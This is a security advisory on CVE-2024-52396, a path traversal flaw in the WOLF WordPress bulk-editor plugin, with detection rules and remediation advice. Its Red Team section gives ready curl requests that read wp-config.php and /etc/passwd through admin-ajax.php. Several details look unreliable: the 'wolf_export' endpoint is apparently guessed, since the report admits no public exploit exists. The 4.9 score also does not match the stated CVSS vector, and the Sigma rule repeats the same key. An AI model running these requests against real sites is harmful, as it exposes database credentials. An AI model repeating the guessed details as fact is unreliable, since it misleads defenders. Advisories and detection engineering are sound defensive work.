CVE-2024-52396

Executive Summary

CVE-2024-52396 is a Path Traversal vulnerability (CWE-22) affecting the WOLF – WordPress Posts Bulk Editor and Products Manager Professional plugin by Pluginus (RealMag777). This flaw allows an authenticated attacker with low privileges to read arbitrary files outside the web root directory, potentially exposing sensitive configuration files, database credentials, or other critical data. The vulnerability affects all versions up to and including 1.0.8.3. As of this report, no official patch has been released, and no public exploit code or proof-of-concept is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for unpatched WordPress installations.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The WOLF plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. Users are advised to verify the integrity of their plugin files and monitor for updates from the vendor. No supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors injecting backdoors into unmaintained copies.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
• Base Score: 4.9 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (limited file read)
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the potential for chaining with other vulnerabilities (e.g., privilege escalation) or accessing sensitive files like wp-config.php elevates the real-world risk.

Deep Dive & Mechanics

The vulnerability resides in the WOLF plugin's file handling functionality, likely within an AJAX handler or admin page that processes file paths without proper sanitization. The plugin fails to validate or restrict user-supplied input used in file operations, allowing an attacker to traverse directories using ../ sequences.

Root Cause: The plugin uses user-controlled parameters (e.g., file, path, template) in functions like file_get_contents(), include(), or fopen() without checking for path traversal patterns. The lack of a whitelist or basename validation enables reading arbitrary files.

Attack Vector: An authenticated user (e.g., subscriber or contributor) sends a crafted HTTP request to a vulnerable endpoint, such as:

POST /wp-admin/admin-ajax.php
action=wolf_export&file=../../../../etc/passwd

The plugin then reads and returns the contents of /etc/passwd.

Impact: Exposure of sensitive files:

• wp-config.php (database credentials, salts)
• /etc/passwd (system user enumeration)
• .htaccess (server configuration)
• Other plugin files (potential for further vulnerabilities)

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common fixes for path traversal.

Vulnerable Code (PHP):

$file = $_GET['file'];
$content = file_get_contents( WP_CONTENT_DIR . '/uploads/' . $file );
echo $content;

Patched Code (Hypothetical):

$file = basename( $_GET['file'] );
$allowed_path = realpath( WP_CONTENT_DIR . '/uploads/' );
$target_path = realpath( $allowed_path . '/' . $file );
if ( strpos( $target_path, $allowed_path ) !== 0 ) {
    die( 'Invalid path.' );
}
$content = file_get_contents( $target_path );
echo $content;

The patched version uses basename() to strip directory components and realpath() to resolve the full path, then checks that the resolved path starts with the allowed directory.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with WOLF plugin <= 1.0.8.3
• Valid user account (e.g., subscriber)

Step 1: Enumerate Vulnerable Endpoints Use a tool like Burp Suite or curl to identify AJAX actions:

curl -s -X POST 'http://target/wp-admin/admin-ajax.php' \
  -d 'action=wolf_export&file=test.txt' \
  --cookie 'wordpress_logged_in_xxx=yyy'

Step 2: Exploit Path Traversal Read wp-config.php:

curl -s -X POST 'http://target/wp-admin/admin-ajax.php' \
  -d 'action=wolf_export&file=../../../wp-config.php' \
  --cookie 'wordpress_logged_in_xxx=yyy'

Step 3: Extract Sensitive Data

curl -s -X POST 'http://target/wp-admin/admin-ajax.php' \
  -d 'action=wolf_export&file=../../../../etc/passwd' \
  --cookie 'wordpress_logged_in_xxx=yyy'

Blue Team (Detection & Hardening)

Detection:

• Monitor for HTTP requests containing ../ in parameters like file, path, or template.
• Alert on access to wp-config.php or /etc/passwd via AJAX handlers.

Hardening:

• Disable the WOLF plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
• Restrict file permissions on wp-config.php to 600.
• Use a security plugin like Wordfence to monitor file access.

Indicators of Compromise (IOCs)

• File Paths Accessed:
  • ../../../wp-config.php
  • ../../../../etc/passwd
  • ../../../.htaccess
• HTTP Request Patterns:
  • POST /wp-admin/admin-ajax.php with action=wolf_export or similar
  • Parameters containing ../ or ..\\
• Log Entries:
  • Apache/Nginx access logs showing admin-ajax.php with suspicious file parameters
  • PHP error logs with file_get_contents() failures for non-existent paths

Detection Engineering

YARA Rule

rule CVE_2024_52396_WOLF_Path_Traversal {
    meta:
        description = "Detects path traversal attempts against WOLF WordPress plugin"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2024-52396"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $wp_config = "wp-config.php"
        $passwd = "/etc/passwd"
        $ajax_action = "wolf_"
    condition:
        any of ($traversal*) and any of ($wp_config, $passwd) and $ajax_action
}

Sigma Rule

title: CVE-2024-52396 WOLF Path Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts against the WOLF WordPress plugin
author: Valters IT
date: 2025-04-17
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=wolf_'
        cs-uri-query|contains: 'file='
        cs-uri-query|contains: '../'
    condition: selection
falsepositives:
    - Legitimate plugin functionality (rare)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2024-52396 WOLF Path Traversal Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=wolf_"; http_client_body;
    content:"file="; http_client_body;
    pcre:"/\.\.\//Pi";
    reference:cve,2024-52396;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the WOLF plugin until a patch is released.
2. Implement a WAF rule to block path traversal patterns (e.g., ../).
3. Review server logs for signs of exploitation.

Long-term Fix:

• Monitor the Pluginus website or WordPress Plugin Directory for an update.
• Apply the patch as soon as it becomes available.
• Consider replacing the plugin with an alternative if no patch is forthcoming.

Workaround:

• Add the following to .htaccess to block direct access to sensitive files:

<FilesMatch "wp-config\.php">
    Order allow,deny
    Deny from all
</FilesMatch>

Valters IT
Securing Digital Frontiers